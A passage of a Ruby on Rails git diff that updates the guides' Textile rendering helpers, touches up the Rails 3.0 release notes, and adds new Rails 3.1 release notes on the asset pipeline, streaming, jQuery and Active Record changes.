-HTML - "\ndirty_workaround_for_notextile_#{code_blocks.size - 1}\n" - end - - body = yield body - - body.gsub(%r{<p>dirty_workaround_for_notextile_(\d+)</p>}) do |_| - code_blocks[$1.to_i] - end + t = RedCloth.new(body) + t.hard_breaks = false + t.lite_mode = lite_mode + t.to_html(:notestuff, :plusplus, :code) end def warn_about_broken_links(html) diff --git a/railties/guides/rails_guides/helpers.rb b/railties/guides/rails_guides/helpers.rb index d466c76c7c..463df8a7a8 100644 --- a/railties/guides/rails_guides/helpers.rb +++ b/railties/guides/rails_guides/helpers.rb @@ -15,7 +15,7 @@ module RailsGuides def author(name, nick, image = 'credits_pic_blank.gif', &block) image = "images/#{image}" - result = content_tag(:img, nil, :src => image, :class => 'left pic', :alt => name) + result = content_tag(:img, nil, :src => image, :class => 'left pic', :alt => name, :width => 91, :height => 91) result << content_tag(:h3, name) result << content_tag(:p, capture(&block)) content_tag(:div, result, :class => 'clearfix', :id => nick) diff --git a/railties/guides/rails_guides/textile_extensions.rb b/railties/guides/rails_guides/textile_extensions.rb index 352c5e91dd..4677fae504 100644 --- a/railties/guides/rails_guides/textile_extensions.rb +++ b/railties/guides/rails_guides/textile_extensions.rb @@ -3,23 +3,24 @@ require 'active_support/core_ext/object/inclusion' module RailsGuides module TextileExtensions def notestuff(body) - body.gsub!(/^(IMPORTANT|CAUTION|WARNING|NOTE|INFO)[.:](.*)$/) do |m| - css_class = $1.downcase - css_class = 'warning' if css_class.in?(['caution', 'important']) - - result = "<div class='#{css_class}'><p>" - result << $2.strip - result << '</p></div>' - result - end - end - - def tip(body) - body.gsub!(/^TIP[.:](.*)$/) do |m| - result = "<div class='info'><p>" - result << $1.strip - result << '</p></div>' - result + # The following regexp detects special labels followed by a + # paragraph, perhaps at the end of the document. + # + # It is important that we do not eat more than one newline + # because formatting may be wrong otherwise. For example, + # if a bulleted list follows the first item is not rendered + # as a list item, but as a paragraph starting with a plain + # asterisk. + body.gsub!(/^(TIP|IMPORTANT|CAUTION|WARNING|NOTE|INFO)[.:](.*?)(\n(?=\n)|\Z)/m) do |m| + css_class = case $1 + when 'CAUTION', 'IMPORTANT' + 'warning' + when 'TIP' + 'info' + else + $1.downcase + end + %Q(<div class="#{css_class}"><p>#{$2.strip}</p></div>) end end @@ -32,11 +33,30 @@ module RailsGuides body.gsub!('<plus>', '+') end + def brush_for(code_type) + case code_type + when 'ruby', 'sql', 'plain' + code_type + when 'erb' + 'ruby; html-script: true' + when 'html' + 'xml' # html is understood, but there are .xml rules in the CSS + else + 'plain' + end + end + def code(body) body.gsub!(%r{<(yaml|shell|ruby|erb|html|sql|plain)>(.*?)</\1>}m) do |m| - es = ERB::Util.h($2) - css_class = $1.in?(['erb', 'shell']) ? 'html' : $1 - %{<notextile><div class="code_container"><code class="#{css_class}">#{es}</code></div></notextile>} + <<HTML +<notextile> +<div class="code_container"> +<pre class="brush: #{brush_for($1)}; gutter: false; toolbar: false"> +#{ERB::Util.h($2).strip} +</pre> +</div> +</notextile> +HTML end end end diff --git a/railties/guides/source/3_0_release_notes.textile b/railties/guides/source/3_0_release_notes.textile index f75b245ed8..d22c76dd81 100644 --- a/railties/guides/source/3_0_release_notes.textile +++ b/railties/guides/source/3_0_release_notes.textile @@ -59,17 +59,17 @@ The +config.gem+ method is gone and has been replaced by using +bundler+ and a + h4. Upgrade Process -To help with the upgrade process, a plugin named "Rails Upgrade":http://github.com/jm/rails_upgrade has been created to automate part of it. +To help with the upgrade process, a plugin named "Rails Upgrade":http://github.com/rails/rails_upgrade has been created to automate part of it. -Simply install the plugin, then run +rake rails:upgrade:check+ to check your app for pieces that need to be updated (with links to information on how to update them). It also offers a task to generate a +Gemfile+ based on your current +config.gem+ calls and a task to generate a new routes file from your current one. To get the plugin, simply run the following: +Simply install the plugin, then run +rake rails:upgrade:check+ to check your app for pieces that need to be updated (with links to information on how to update them). It also offers a task to generate a +Gemfile+ based on your current +config.gem+ calls and a task to generate a new routes file from your current one. To get the plugin, simply run the following: <shell> -$ ruby script/plugin install git://github.com/jm/rails_upgrade.git +$ ruby script/plugin install git://github.com/rails/rails_upgrade.git </shell> You can see an example of how that works at "Rails Upgrade is now an Official Plugin":http://omgbloglol.com/post/364624593/rails-upgrade-is-now-an-official-plugin -Aside from Rails Upgrade tool, if you need more help, there are people on IRC and "rubyonrails-talk":http://groups.google.com/group/rubyonrails-talk that are probably doing the same thing, possibly hitting the same issues. Be sure to blog your own experiences when upgrading so others can benefit from your knowledge! +Aside from Rails Upgrade tool, if you need more help, there are people on IRC and "rubyonrails-talk":http://groups.google.com/group/rubyonrails-talk that are probably doing the same thing, possibly hitting the same issues. Be sure to blog your own experiences when upgrading so others can benefit from your knowledge! More information - "The Path to Rails 3: Approaching the upgrade":http://omgbloglol.com/post/353978923/the-path-to-rails-3-approaching-the-upgrade @@ -113,42 +113,42 @@ Railties was updated to provide a consistent plugin API for the entire Rails fra h4. All Rails core components are decoupled -With the merge of Merb and Rails, one of the big jobs was to remove the tight coupling between Rails core components. This has now been achieved, and all Rails core components are now using the same API that you can use for developing plugins. This means any plugin you make, or any core component replacement (like DataMapper or Sequel) can access all the functionality that the Rails core components have access to and extend and enhance at will. +With the merge of Merb and Rails, one of the big jobs was to remove the tight coupling between Rails core components. This has now been achieved, and all Rails core components are now using the same API that you can use for developing plugins. This means any plugin you make, or any core component replacement (like DataMapper or Sequel) can access all the functionality that the Rails core components have access to and extend and enhance at will. More information: - "The Great Decoupling":http://yehudakatz.com/2009/07/19/rails-3-the-great-decoupling/ h4. Active Model Abstraction -Part of decoupling the core components was extracting all ties to Active Record from Action Pack. This has now been completed. All new ORM plugins now just need to implement Active Model interfaces to work seamlessly with Action Pack. +Part of decoupling the core components was extracting all ties to Active Record from Action Pack. This has now been completed. All new ORM plugins now just need to implement Active Model interfaces to work seamlessly with Action Pack. More information: - "Make Any Ruby Object Feel Like ActiveRecord":http://yehudakatz.com/2010/01/10/activemodel-make-any-ruby-object-feel-like-activerecord/ h4. Controller Abstraction -Another big part of decoupling the core components was creating a base superclass that is separated from the notions of HTTP in order to handle rendering of views etc. This creation of +AbstractController+ allowed +ActionController+ and +ActionMailer+ to be greatly simplified with common code removed from all these libraries and put into Abstract Controller. +Another big part of decoupling the core components was creating a base superclass that is separated from the notions of HTTP in order to handle rendering of views etc. This creation of +AbstractController+ allowed +ActionController+ and +ActionMailer+ to be greatly simplified with common code removed from all these libraries and put into Abstract Controller. More Information: - "Rails Edge Architecture":http://yehudakatz.com/2009/06/11/rails-edge-architecture/ h4. Arel Integration -"Arel":http://github.com/brynary/arel (or Active Relation) has been taken on as the underpinnings of Active Record and is now required for Rails. Arel provides an SQL abstraction that simplifies out Active Record and provides the underpinnings for the relation functionality in Active Record. +"Arel":http://github.com/brynary/arel (or Active Relation) has been taken on as the underpinnings of Active Record and is now required for Rails. Arel provides an SQL abstraction that simplifies out Active Record and provides the underpinnings for the relation functionality in Active Record. More information: - "Why I wrote Arel":http://magicscalingsprinkles.wordpress.com/2010/01/28/why-i-wrote-arel/. h4. Mail Extraction -Action Mailer ever since its beginnings has had monkey patches, pre parsers and even delivery and receiver agents, all in addition to having TMail vendored in the source tree. Version 3 changes that with all email message related functionality abstracted out to the "Mail":http://github.com/mikel/mail gem. This again reduces code duplication and helps create definable boundaries between Action Mailer and the email parser. +Action Mailer ever since its beginnings has had monkey patches, pre parsers and even delivery and receiver agents, all in addition to having TMail vendored in the source tree. Version 3 changes that with all email message related functionality abstracted out to the "Mail":http://github.com/mikel/mail gem. This again reduces code duplication and helps create definable boundaries between Action Mailer and the email parser. More information: - "New Action Mailer API in Rails 3":http://lindsaar.net/2010/1/26/new-actionmailer-api-in-rails-3 h3. Documentation -The documentation in the Rails tree is being updated with all the API changes, additionally, the "Rails Edge Guides":http://edgeguides.rubyonrails.org/ are being updated one by one to reflect the changes in Rails 3.0. The guides at "guides.rubyonrails.org":http://guides.rubyonrails.org/ however will continue to contain only the stable version of Rails (at this point, version 2.3.5, until 3.0 is released). +The documentation in the Rails tree is being updated with all the API changes, additionally, the "Rails Edge Guides":http://edgeguides.rubyonrails.org/ are being updated one by one to reflect the changes in Rails 3.0. The guides at "guides.rubyonrails.org":http://guides.rubyonrails.org/ however will continue to contain only the stable version of Rails (at this point, version 2.3.5, until 3.0 is released). More Information: - "Rails Documentation Projects":http://weblog.rubyonrails.org/2009/1/15/rails-documentation-projects. @@ -157,7 +157,7 @@ h3. Internationalization A large amount of work has been done with I18n support in Rails 3, including the latest "I18n":http://github.com/svenfuchs/i18n gem supplying many speed improvements. -* I18n for any object - I18n behavior can be added to any object by including <tt>ActiveModel::Translation</tt> and <tt>ActiveModel::Validations</tt>. There is also an <tt>errors.messages</tt> fallback for translations. +* I18n for any object - I18n behavior can be added to any object by including <tt>ActiveModel::Translation</tt> and <tt>ActiveModel::Validations</tt>. There is also an <tt>errors.messages</tt> fallback for translations. * Attributes can have default translations. * Form Submit Tags automatically pull the correct status (Create or Update) depending on the object status, and so pull the correct translation. * Labels with I18n also now work by just passing the attribute name. @@ -173,7 +173,7 @@ With the decoupling of the main Rails frameworks, Railties got a huge overhaul s * Anything under <tt>Rails.root/app</tt> is now added to the load path, so you can make <tt>app/observers/user_observer.rb</tt> and Rails will load it without any modifications. * Rails 3.0 now provides a <tt>Rails.config</tt> object, which provides a central repository of all sorts of Rails wide configuration options. -Application generation has received extra flags allowing you to skip the installation of test-unit, Active Record, Prototype and Git. Also a new <tt>--dev</tt> flag has been added which sets the application up with the +Gemfile+ pointing to your Rails checkout (which is determined by the path to the +rails+ binary). See <tt>rails --help</tt> for more info. +Application generation has received extra flags allowing you to skip the installation of test-unit, Active Record, Prototype and Git. Also a new <tt>--dev</tt> flag has been added which sets the application up with the +Gemfile+ pointing to your Rails checkout (which is determined by the path to the +rails+ binary). See <tt>rails --help</tt> for more info. Railties generators got a huge amount of attention in Rails 3.0, basically: @@ -215,7 +215,7 @@ There have been significant internal and external changes in Action Pack. h4. Abstract Controller -Abstract Controller pulls out the generic parts of Action Controller into a reusable module that any library can use to render templates, render partials, helpers, translations, logging, any part of the request response cycle. This abstraction allowed <tt>ActionMailer::Base</tt> to now just inherit from +AbstractController+ and just wrap the Rails DSL onto the Mail gem. +Abstract Controller pulls out the generic parts of Action Controller into a reusable module that any library can use to render templates, render partials, helpers, translations, logging, any part of the request response cycle. This abstraction allowed <tt>ActionMailer::Base</tt> to now just inherit from +AbstractController+ and just wrap the Rails DSL onto the Mail gem. It also provided an opportunity to clean up Action Controller, abstracting out what could to simplify the code. @@ -231,7 +231,7 @@ h4. Action Controller * The <tt>session_store</tt> was configured in <tt>ActionController::Base.session</tt>, and that is now moved to <tt>Rails.application.config.session_store</tt>. Defaults are set up in <tt>config/initializers/session_store.rb</tt>. * <tt>cookies.secure</tt> allowing you to set encrypted values in cookies with <tt>cookie.secure[:key] => value</tt>. * <tt>cookies.permanent</tt> allowing you to set permanent values in the cookie hash <tt>cookie.permanent[:key] => value</tt> that raise exceptions on signed values if verification failures. -* You can now pass <tt>:notice => 'This is a flash message'</tt> or <tt>:alert => 'Something went wrong'</tt> to the <tt>format</tt> call inside a +respond_to+ block. The <tt>flash[]</tt> hash still works as previously. +* You can now pass <tt>:notice => 'This is a flash message'</tt> or <tt>:alert => 'Something went wrong'</tt> to the <tt>format</tt> call inside a +respond_to+ block. The <tt>flash[]</tt> hash still works as previously. * <tt>respond_with</tt> method has now been added to your controllers simplifying the venerable +format+ blocks. * <tt>ActionController::Responder</tt> added allowing you flexibility in how your responses get generated. @@ -298,9 +298,9 @@ h4. Action View h5. Unobtrusive JavaScript -Major re-write was done in the Action View helpers, implementing Unobtrusive JavaScript (UJS) hooks and removing the old inline AJAX commands. This enables Rails to use any compliant UJS driver to implement the UJS hooks in the helpers. +Major re-write was done in the Action View helpers, implementing Unobtrusive JavaScript (UJS) hooks and removing the old inline AJAX commands. This enables Rails to use any compliant UJS driver to implement the UJS hooks in the helpers. -What this means is that all previous <tt>remote_<method></tt> helpers have been removed from Rails core and put into the "Prototype Legacy Helper":http://github.com/rails/prototype_legacy_helper. To get UJS hooks into your HTML, you now pass <tt>:remote => true</tt> instead. For example: +What this means is that all previous <tt>remote_<method></tt> helpers have been removed from Rails core and put into the "Prototype Legacy Helper":http://github.com/rails/prototype_legacy_helper. To get UJS hooks into your HTML, you now pass <tt>:remote => true</tt> instead. For example: <ruby> form_for @post, :remote => true @@ -341,12 +341,12 @@ h5. Other Changes h3. Active Model -Active Model is new in Rails 3.0. It provides an abstraction layer for any ORM libraries to use to interact with Rails by implementing an Active Model interface. +Active Model is new in Rails 3.0. It provides an abstraction layer for any ORM libraries to use to interact with Rails by implementing an Active Model interface. h4. ORM Abstraction and Action Pack Interface -Part of decoupling the core components was extracting all ties to Active Record from Action Pack. This has now been completed. All new ORM plugins now just need to implement Active Model interfaces to work seamlessly with Action Pack. +Part of decoupling the core components was extracting all ties to Active Record from Action Pack. This has now been completed. All new ORM plugins now just need to implement Active Model interfaces to work seamlessly with Action Pack. More Information: - "Make Any Ruby Object Feel Like ActiveRecord":http://yehudakatz.com/2010/01/10/activemodel-make-any-ruby-object-feel-like-activerecord/ @@ -410,12 +410,12 @@ More Information: h3. Active Record -Active Record received a lot of attention in Rails 3.0, including abstraction into Active Model, a full update to the Query interface using Arel, validation updates and many enhancements and fixes. All of the Rails 2.x API will be usable through a compatibility layer that will be supported until version 3.1. +Active Record received a lot of attention in Rails 3.0, including abstraction into Active Model, a full update to the Query interface using Arel, validation updates and many enhancements and fixes. All of the Rails 2.x API will be usable through a compatibility layer that will be supported until version 3.1. h4. Query Interface -Active Record, through the use of Arel, now returns relations on its core methods. The existing API in Rails 2.3.x is still supported and will not be deprecated until Rails 3.1 and not removed until Rails 3.2, however, the new API provides the following new methods that all return relations allowing them to be chained together: +Active Record, through the use of Arel, now returns relations on its core methods. The existing API in Rails 2.3.x is still supported and will not be deprecated until Rails 3.1 and not removed until Rails 3.2, however, the new API provides the following new methods that all return relations allowing them to be chained together: * <tt>where</tt> - provides conditions on the relation, what gets returned. * <tt>select</tt> - choose what attributes of the models you wish to have returned from the database. @@ -502,7 +502,7 @@ Deprecations: h3. Active Support -A large effort was made in Active Support to make it cherry pickable, that is, you no longer have to require the entire Active Support library to get pieces of it. This allows the various core components of Rails to run slimmer. +A large effort was made in Active Support to make it cherry pickable, that is, you no longer have to require the entire Active Support library to get pieces of it. This allows the various core components of Rails to run slimmer. These are the main changes in Active Support: @@ -559,7 +559,7 @@ The following methods have been removed because they are no longer used in the f h3. Action Mailer -Action Mailer has been given a new API with TMail being replaced out with the new "Mail":http://github.com/mikel/mail as the Email library. Action Mailer itself has been given an almost complete re-write with pretty much every line of code touched. The result is that Action Mailer now simply inherits from Abstract Controller and wraps the Mail gem in a Rails DSL. This reduces the amount of code and duplication of other libraries in Action Mailer considerably. +Action Mailer has been given a new API with TMail being replaced out with the new "Mail":http://github.com/mikel/mail as the Email library. Action Mailer itself has been given an almost complete re-write with pretty much every line of code touched. The result is that Action Mailer now simply inherits from Abstract Controller and wraps the Mail gem in a Rails DSL. This reduces the amount of code and duplication of other libraries in Action Mailer considerably. * All mailers are now in <tt>app/mailers</tt> by default. * Can now send email using new API with three methods: +attachments+, +headers+ and +mail+. @@ -589,7 +589,7 @@ More Information: h3. Credits -See the "full list of contributors to Rails":http://contributors.rubyonrails.org/ for the many people who spent many hours making Rails 3. Kudos to all of them. +See the "full list of contributors to Rails":http://contributors.rubyonrails.org/ for the many people who spent many hours making Rails 3. Kudos to all of them. Rails 3.0 Release Notes were compiled by "Mikel Lindsaar":http://lindsaar.net. diff --git a/railties/guides/source/3_1_release_notes.textile b/railties/guides/source/3_1_release_notes.textile new file mode 100644 index 0000000000..c4da87dc34 --- /dev/null +++ b/railties/guides/source/3_1_release_notes.textile @@ -0,0 +1,431 @@ +h2. Ruby on Rails 3.1 Release Notes + +Highlights in Rails 3.1: + +* Streaming +* Reversible Migrations +* Assets Pipeline +* jQuery as the default JavaScript library + +This release notes cover the major changes, but don't include every little bug fix and change. If you want to see everything, check out the "list of commits":https://github.com/rails/rails/commits/master in the main Rails repository on GitHub. + +endprologue. + +h3. Upgrading to Rails 3.1 + +If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3 in case you haven't and make sure your application still runs as expected before attempting to update to Rails 3.1. Then take heed of the following changes: + +h4. Rails 3.1 requires at least Ruby 1.8.7 + +Rails 3.1 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.1 is also compatible with Ruby 1.9.2. + +TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x jump on 1.9.2 for smooth sailing. + +h3. Creating a Rails 3.1 application + +<shell> +# You should have the 'rails' rubygem installed +$ rails new myapp +$ cd myapp +</shell> + +h4. Vendoring Gems + +Rails now uses a +Gemfile+ in the application root to determine the gems you require for your application to start. This +Gemfile+ is processed by the "Bundler":https://github.com/carlhuda/bundler gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems. + +More information: - "bundler homepage":http://gembundler.com + +h4. Living on the Edge + ++Bundler+ and +Gemfile+ makes freezing your Rails application easy as pie with the new dedicated +bundle+ command. If you want to bundle straight from the Git repository, you can pass the +--edge+ flag: + +<shell> +$ rails new myapp --edge +</shell> + +If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the +--dev+ flag: + +<shell> +$ ruby /path/to/rails/bin/rails new myapp --dev +</shell> + +h3. Rails Architectural Changes + +h4. Assets Pipeline + +The major change in Rails 3.1 is the Assets Pipeline. It makes CSS and JavaScript first-class code citizens and enables proper organization, including use in plugins and engines. + +The assets pipeline is powered by "Sprockets":https://github.com/sstephenson/sprockets and is covered in the "Asset Pipeline":asset_pipeline.html guide. + +h4. HTTP Streaming + +HTTP Streaming is another change that is new in Rails 3.1. This lets the browser download your stylesheets and JavaScript files while the server is still generating the response. This requires Ruby 1.9.2, is opt-in and requires support from the web server as well, but the popular combo of nginx and unicorn is ready to take advantage of it. + +h4. Default JS library is now jQuery + +jQuery is the default JavaScript library that ships with Rails 3.1. But if you use Prototype, it's simple to switch. + +<shell> +$ rails new myapp -j prototype +</shell> + +h4. Identity Map + +Active Record has an Identity Map in Rails 3.1. An identity map keeps previously instantiated records and returns the object associated with the record if accessed again. The identity map is created on a per-request basis and is flushed at request completion. + +Rails 3.1 comes with the identity map turned off by default. + +h3. Railties + +* jQuery is the new default JavaScript library. + +* jQuery and Prototype are no longer vendored and is provided from now on by the jquery-rails and prototype-rails gems. + +* The application generator accepts an option +-j+ which can be an arbitrary string. If passed "foo", the gem "foo-rails" is added to the +Gemfile+, and the application JavaScript manifest requires "foo" and "foo_ujs". Currently only "prototype-rails" and "jquery-rails" exist and provide those files via the asset pipeline. + +* Generating an application or a plugin runs +bundle install+ unless +--skip-gemfile+ or +--skip-bundle+ is specified. + +* The controller and resource generators will now automatically produce asset stubs (this can be turned off with +--skip-assets+). These stubs will use CoffeeScript and Sass, if those libraries are available. + +* Scaffold and app generators use the Ruby 1.9 style hash when running on Ruby 1.9. To generate old style hash, +--old-style-hash+ can be passed. + +* Scaffold controller generator creates format block for JSON instead of XML. + +* Active Record logging is directed to STDOUT and shown inline in the console. + +* Added +config.force_ssl+ configuration which loads <tt>Rack::SSL</tt> middleware and force all requests to be under HTTPS protocol. + +* Added +rails plugin new+ command which generates a Rails plugin with gemspec, tests and a dummy application for testing. + +* Added <tt>Rack::Etag</tt> and <tt>Rack::ConditionalGet</tt> to the default middleware stack. + +* Added <tt>Rack::Cache</tt> to the default middleware stack. + +* Engines received a major update - You can mount them at any path, enable assets, run generators etc. + +h3. Action Pack + +h4. Action Controller + +* A warning is given out if the CSRF token authenticity cannot be verified. + +* Specify +force_ssl+ in a controller to force the browser to transfer data via HTTPS protocol on that particular controller. To limit to specific actions, +:only+ or +:except+ can be used. + +* Sensitive query string parameters specified in <tt>config.filter_parameters</tt> will now be filtered out from the request paths in the log. + +* URL parameters which return +nil+ for +to_param+ are now removed from the query string. + +* Added <tt>ActionController::ParamsWrapper</tt> to wrap parameters into a nested hash, and will be turned on for JSON request in new applications by default. This can be customized in <tt>config/initializers/wrap_parameters.rb</tt>. + +* Added <tt>config.action_controller.include_all_helpers</tt>. By default <tt>helper :all</tt> is done in <tt>ActionController::Base</tt>, which includes all the helpers by default. Setting +include_all_helpers+ to +false+ will result in including only application_helper and the helper corresponding to controller (like foo_helper for foo_controller). + +* +url_for+ and named url helpers now accept +:subdomain+ and +:domain+ as options. + +* Added +Base.http_basic_authenticate_with+ to do simple http basic authentication with a single class method call. + +<ruby> +class PostsController < ApplicationController + USER_NAME, PASSWORD = "dhh", "secret" + + before_filter :authenticate, :except => [ :index ] + + def index + render :text => "Everyone can see me!" + end + + def edit + render :text => "I'm only accessible if you know the password" + end + + private + def authenticate + authenticate_or_request_with_http_basic do |user_name, password| + user_name == USER_NAME && password == PASSWORD + end + end +end +</ruby> + +..can now be written as + +<ruby> +class PostsController < ApplicationController + http_basic_authenticate_with :name => "dhh", :password => "secret", :except => :index + + def index + render :text => "Everyone can see me!" + end + + def edit + render :text => "I'm only accessible if you know the password" + end +end +</ruby> + +* Added streaming support, you can enable it with: + +<ruby> +class PostsController < ActionController::Base + stream +end +</ruby> + +You can restrict it to some actions by using +:only+ or +:except+. Please read the docs at "<tt>ActionController::Streaming</tt>":http://api.rubyonrails.org/classes/ActionController/Streaming.html for more information. + +* The redirect route method now also accepts a hash of options which will only change the parts of the url in question, or an object which responds to call, allowing for redirects to be reused. + +h4. Action Dispatch + +* <tt>config.action_dispatch.x_sendfile_header</tt> now defaults to +nil+ and <tt>config/environments/production.rb</tt> doesn't set any particular value for it. This allows servers to set it through <tt>X-Sendfile-Type</tt>. + +* <tt>ActionDispatch::MiddlewareStack</tt> now uses composition over inheritance and is no longer an array. + +* Added <tt>ActionDispatch::Request.ignore_accept_header</tt> to ignore accept headers. + +* Added <tt>Rack::Cache</tt> to the default stack. + +* Moved etag responsibility from <tt>ActionDispatch::Response</tt> to the middleware stack. + +* Rely on <tt>Rack::Session</tt> stores API for more compatibility across the Ruby world. This is backwards incompatible since <tt>Rack::Session</tt> expects <tt>#get_session</tt> to accept four arguments and requires <tt>#destroy_session</tt> instead of simply <tt>#destroy</tt>. + +* Template lookup now searches further up in the inheritance chain. + +h4. Action View + +* Added an +:authenticity_token+ option to +form_tag+ for custom handling or to omit the token by passing <tt>:authenticity_token => false</tt>. + +* Created <tt>ActionView::Renderer</tt> and specified an API for <tt>ActionView::Context</tt>. + +* In place +SafeBuffer+ mutation is prohibited in Rails 3.1. + +* Added HTML5 +button_tag+ helper. + +* +file_field+ automatically adds <tt>:multipart => true</tt> to the enclosing form. + +* Added a convenience idiom to generate HTML5 data-* attributes in tag helpers from a +:data+ hash of options: + +<plain> +tag("div", :data => {:name => 'Stephen', :city_state => %w(Chicago IL)}) +# => <div data-name="Stephen" data-city-state="["Chicago","IL"]" /> +</plain> + +Keys are dasherized. Values are JSON-encoded, except for strings and symbols. + +* +csrf_meta_tag+ is renamed to +csrf_meta_tags+ and aliases +csrf_meta_tag+ for backwards compatibility. + +* The old template handler API is deprecated and the new API simply requires a template handler to respond to call. + +* rhtml and rxml are finally removed as template handlers. + +* <tt>config.action_view.cache_template_loading</tt> is brought back which allows to decide whether templates should be cached or not. + +* The submit form helper does not generate an id "object_name_id" anymore. + +* Allows <tt>FormHelper#form_for</tt> to specify the +:method+ as a direct option instead of through the +:html+ hash. <tt>form_for(==@==post, remote: true, method: :delete)</tt> instead of <tt>form_for(==@==post, remote: true, html: { method: :delete })</tt>. + +* Provided <tt>JavaScriptHelper#j()</tt> as an alias for <tt>JavaScriptHelper#escape_javascript()</tt>. This supersedes the <tt>Object#j()</tt> method that the JSON gem adds within templates using the JavaScriptHelper. + +* Allows AM/PM format in datetime selectors. + +* +auto_link+ has been removed from Rails and extracted into the "rails_autolink gem":https://github.com/tenderlove/rails_autolink + +h3. Active Record + +* Added a class method <tt>pluralize_table_names</tt> to singularize/pluralize table names of individual models. Previously this could only be set globally for all models through <tt>ActiveRecord::Base.pluralize_table_names</tt>. +<ruby> +class User < ActiveRecord::Base + self.pluralize_table_names = false +end +</ruby> + +* Added block setting of attributes to singular associations. The block will get called after the instance is initialized. + +<ruby> +class User < ActiveRecord::Base + has_one :account +end + +user.build_account{ |a| a.credit_limit = 100.0 } +</ruby> + +* Added <tt>ActiveRecord::Base.attribute_names</tt> to return a list of attribute names. This will return an empty array if the model is abstract or the table does not exist. + +* CSV Fixtures are deprecated and support will be removed in Rails 3.2.0. + +* <tt>ActiveRecord#new</tt>, <tt>ActiveRecord#create</tt> and <tt>ActiveRecord#update_attributes</tt> all accept a second hash as an option that allows you to specify which role to consider when assigning attributes. This is built on top of Active Model's new mass assignment capabilities: + +<ruby> +class Post < ActiveRecord::Base + attr_accessible :title + attr_accessible :title, :published_at, :as => :admin +end + +Post.new(params[:post], :as => :admin) +</ruby> + +* +default_scope+ can now take a block, lambda, or any other object which responds to call for lazy evaluation. + +* Default scopes are now evaluated at the latest possible moment, to avoid problems where scopes would be created which would implicitly contain the default scope, which would then be impossible to get rid of via Model.unscoped. + +* PostgreSQL adapter only supports PostgreSQL version 8.2 and higher. + +* +ConnectionManagement+ middleware is changed to clean up the connection pool after the rack body has been flushed. + +* Added an +update_column+ method on Active Record. This new method updates a given attribute on an object, skipping validations and callbacks. It is recommended to use +update_attributes+ or +update_attribute+ unless you are sure you do not want to execute any callback, including the modification of the +updated_at+ column. It should not be called on new records. + +* Associations with a +:through+ option can now use any association as the through or source association, including other associations which have a +:through+ option and +has_and_belongs_to_many+ associations. + +* The configuration for the current database connection is now accessible via <tt>ActiveRecord::Base.connection_config</tt>. + +* limits and offsets are removed from COUNT queries unless both are supplied. +<ruby> +People.limit(1).count # => 'SELECT COUNT(*) FROM people' +People.offset(1).count # => 'SELECT COUNT(*) FROM people' +People.limit(1).offset(1).count # => 'SELECT COUNT(*) FROM people LIMIT 1 OFFSET 1' +</ruby> + +* <tt>ActiveRecord::Associations::AssociationProxy</tt> has been split. There is now an +Association+ class (and subclasses) which are responsible for operating on associations, and then a separate, thin wrapper called +CollectionProxy+, which proxies collection associations. This prevents namespace pollution, separates concerns, and will allow further refactorings. + +* Singular associations (+has_one+, +belongs_to+) no longer have a proxy and simply returns the associated record or +nil+. This means that you should not use undocumented methods such as +bob.mother.create+ - use +bob.create_mother+ instead. + +* Support the <tt>:dependent</tt> option on <tt>has_many :through</tt> associations. For historical and practical reasons, +:delete_all+ is the default deletion strategy employed by <tt>association.delete(*records)</tt>, despite the fact that the default strategy is +:nullify+ for regular has_many. Also, this only works at all if the source reflection is a belongs_to. For other situations, you should directly modify the through association. + +* The behavior of +association.destroy+ for +has_and_belongs_to_many+ and <tt>has_many :through</tt> is changed. From now on, 'destroy' or 'delete' on an association will be taken to mean 'get rid of the link', not (necessarily) 'get rid of the associated records'. + +* Previously, <tt>has_and_belongs_to_many.destroy(*records)</tt> would destroy the records themselves. It would not delete any records in the join table. Now, it deletes the records in the join table. + +* Previously, <tt>has_many_through.destroy(*records)</tt> would destroy the records themselves, and the records in the join table. [Note: This has not always been the case; previous version of Rails only deleted the records themselves.] Now, it destroys only the records in the join table. + +* Note that this change is backwards-incompatible to an extent, but there is unfortunately no way to 'deprecate' it before changing it. The change is being made in order to have consistency as to the meaning of 'destroy' or 'delete' across the different types of associations. If you wish to destroy the records themselves, you can do <tt>records.association.each(&:destroy)</tt>. + +* Add <tt>:bulk => true</tt> option to +change_table+ to make all the schema changes defined in a block using a single ALTER statement. + +<ruby> +change_table(:users, :bulk => true) do |t| + t.string :company_name + t.change :birthdate, :datetime +end +</ruby> + +* Removed support for accessing attributes on a +has_and_belongs_to_many+ join table. <tt>has_many :through</tt> needs to be used. + +* Added a +create_association!+ method for +has_one+ and +belongs_to+ associations. + +* Migrations are now reversible, meaning that Rails will figure out how to reverse your migrations. To use reversible migrations, just define the +change+ method. +<ruby> +class MyMigration < ActiveRecord::Migration + def change + create_table(:horses) do |t| + t.column :content, :text + t.column :remind_at, :datetime + end + end +end +</ruby> + +* Some things cannot be automatically reversed for you. If you know how to reverse those things, you should define +up+ and +down+ in your migration. If you define something in change that cannot be reversed, an +IrreversibleMigration+ exception will be raised when going down. + +* Migrations now use instance methods rather than class methods: +<ruby> +class FooMigration < ActiveRecord::Migration + def up # Not self.up + ... + end +end +</ruby> + +* Migration files generated from model and constructive migration generators (for example, add_name_to_users) use the reversible migration's +change+ method instead of the ordinary +up+ and +down+ methods. + +* Removed support for interpolating string SQL conditions on associations. Instead, a proc should be used. + +<ruby> +has_many :things, :conditions => 'foo = #{bar}' # before +has_many :things, :conditions => proc { "foo = #{bar}" } # after +</ruby> + +Inside the proc, +self+ is the object which is the owner of the association, unless you are eager loading the association, in which case +self+ is the class which the association is within. + +You can have any "normal" conditions inside the proc, so the following will work too: + +<ruby> +has_many :things, :conditions => proc { ["foo = ?", bar] } +</ruby> + +* Previously +:insert_sql+ and +:delete_sql+ on +has_and_belongs_to_many+ association allowed you to call 'record' to get the record being inserted or deleted. This is now passed as an argument to the proc. + +* Added <tt>ActiveRecord::Base#has_secure_password</tt> (via <tt>ActiveModel::SecurePassword</tt>) to encapsulate dead-simple password usage with BCrypt encryption and salting. + +<ruby> +# Schema: User(name:string, password_digest:string, password_salt:string) +class User < ActiveRecord::Base + has_secure_password +end +</ruby> + +* When a model is generated +add_index+ is added by default for +belongs_to+ or +references+ 